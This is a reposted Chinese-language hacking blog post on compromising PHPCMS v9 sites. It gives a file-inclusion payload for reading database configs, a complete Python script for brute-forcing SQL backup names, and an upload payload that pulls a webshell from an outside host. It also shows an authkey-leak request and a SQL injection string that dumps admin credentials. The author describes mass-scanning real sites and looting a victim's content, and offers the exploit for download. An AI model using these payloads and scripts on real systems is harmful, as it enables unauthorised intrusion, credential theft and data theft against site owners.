論如何優雅地拿下PHPCMS


作者:J0o1ey

原文來自:論如何優雅地拿下PHPCMS

 

一、PHPCM       PHP是國內領先的網站內容管理系統,同時也是一個開源的PHP開發框架,采用PHP5+MYSQL進行開發,擁有非常龐       百度百科介紹其優點主要如下:

      ①功能強大
      ②模塊化,開源,可擴展功能強大靈活
      ③支持自定義模型和字段負載能力強,支持千萬級數據模板制作方便
      ④支持中文標簽和萬能標簽進行數據調用擁有門戶級的碎片功能,
      ⑤融入了人性化體驗
      ⑥加強了安全機制    

前五條我們無可厚非,因為PHPCMS的開發團隊確實比較專業和優秀,但是就算他真的安全機制優秀,難道我們就拿他沒辦法了嘛?作為一名小學生,自然是不服,讓我們今天來盤點一下PHPCMS v9這些年爆出來的常見漏洞~(雞肋一些的漏洞在此就不介紹了,主要介紹一些比較凶殘的)

二、PHPCMS V9本地文件包含漏洞
漏洞出現在如下文件:phpcms/modules/search/index.php 
代碼如下:

public function public_get_suggest_keyword() {
                $url = $_GET['url'].'&q='.$_GET['q'];
 
                $res = @file_get_contents($url);
                if(CHARSET != 'gbk') {
                        $res = iconv('gbk', CHARSET, $res);
                }
                echo $res;
        }


本處大家會發現在使用file_get_contents函數時沒有過濾get方式得到的m參數
因此可以構造payload如下
www.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php

如果存在漏洞即可成功讀取到phpcms的數據庫配置文件,如圖


 

如果目標的mysql服務對外網開啟,則可以使用mysql連接程序直接脫褲
利用用戶表的管理員賬號密碼(phpcms的管理員密碼是加鹽再md5加密的,需要解密),使用默認后台
www.xxx.com/admin.php]www.xxx.com/admin.php即可成功登錄



三、phpcms V9 sql備份文件名爆破
參考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35472&highlight=phpcms
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql

我們知道windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用
而PHP的opendir(win32readdir.c)就使用了該API。PHP的文件操作函數均調用了opendir,所以file_exists也有此特性。

這個漏洞和前一陣子dedecms后台爆破如出一轍,api.php文件的$op變量決定用戶的操作

# api.php
<?php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
    include PHPCMS_PATH.'api/'.$op.'.php';
......
?>


在/api/creatimg.php文件中,使用了file_exists()函數判斷$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用戶控制,且未過濾.和/等符號,最終導致了漏洞發生。

 
# /api/creatimg.php
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
    ......
    $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
    ......
    if(file_exists($fontfile)){
        //計算文本寫入后的寬度,右下角 X 位置-左下角 X 位置
        $image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
        $imageX = $image_info[2]-$image_info[0]+10;
        $imageY = $image_info[1]-$image_info[7]+5;
        ......



爆破腳本如下:

#!/usr/bin/env python
# coding=utf-8
'''/*
    * author = Mochazz
    * team   = 紅日安全團隊
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
flag = 0
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        payload = payload.format(location=pre)
        r = requests.get(url+payload)
        if r.status_code == 200 and "PNG" in r.text:
            flag = 1
            backup_sql = pre
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
            break
        else:
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("[+] 前綴為:",backup_sql)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        payload = payload.format(location=backup_sql+ch)
        r = requests.get(url + payload)
        if r.status_code == 200 and "PNG" in r.text:
            backup_sql += ch
            print("[+] ",backup_sql)
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
            break
        else:
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("備份sql文件地址為:",backup_sql+".sql")

效果如下:


拿到SQL文件后,可以導入本地查看,后續操作這里不多加贅述

四、PHPCMS前台上傳getshell
漏洞復現參考(https://www.hackersb.cn/hacker/219.html)

漏洞復現的辦法是先打開注冊頁面:
www.xxx.com/index.php?m=member&c=index&a=register&siteid=1]www.xxx.com/index.php?m=member&c=index&a=register&siteid=

然后向注冊頁面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就會報錯並返回shell地址:

然后就可以連接啦。

但我在實戰測試過程中發現這個漏洞由於危害極大,基本上都已經被運維打補丁了,因此現在存在這個漏洞的站點並不是很多

五、PHPCMS利用authkey泄露進行注入
眾所周和PHPCMS在拿到authkey(這邊簡稱key吧),便有一大堆注入,在此給大家簡單講解一下
首先分享一下爆出key的payload
www.xxx.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
<ignore_js_op> 
如圖中的XI0G8h0TYyWTwZMFIgN9nxHUN9Syymf便是我們所說的key
拿到key后,我們該怎么辦呢?
我們這邊使用一個名為a.php的exp(exp請回復后下載)
大家可以使用phpstudy安裝PHP環境
用法:將a.php丟到phpstudy配置的網站根目錄中
訪問url:
http://localhost/a.php?url=你要測試的url(不要加http)&key=你得到的key&id=userid=1%20and%20(SELECT%201%20FROM(SELECT%20count(*),concat((SELECT(SELECT%20concat(0x7e,0x27,cast((substring((select+concat(0x7e,0x27,username,0x3a,+password,+0x3a,+encrypt,0x27,0x40,0x7e)+FROM+`v9_admin`+WHERE+1+limit+0,1),1,62))%20as%20char),0x27,0x7e))%20FROM%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20FROM%20information_schema.columns%20group%20by%20x)a)


即可得到后台賬號和密碼,但是密碼是加了salt的,大家可以去
http://cmd.la進行解密,但是是要收費的,你懂得
<ignore_js_op> 
然后使用解出的明文密碼登錄www.xxx.com/admin.php即可~

六、利用fuzz框架批量檢測PHPCMS漏洞
我作為一名懶人,叫我一個個地手動檢測漏洞是很不現實的,因此我選擇使用test404的一款http fuzz框架實現批量檢測
簡單地編寫了一下上述漏洞的插件,采集url進行批量fuzz,效果還是很不錯的
如圖是使用爆key插件的結果(還有很多了,不一一展示)
這些爆出key的大部分都是存在SQL注入的


 

有時候還會有福利,搞到個美女圖片站什么的,把資源全部打包爽歪歪。。。


 

至於插件一類的,大家可以閱讀原文下載哈~

七、資源下載
閱讀原文即可下載:http fuzzer+編寫好的插件,利用key注入的exp(exp請把txt擴展名改為php)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM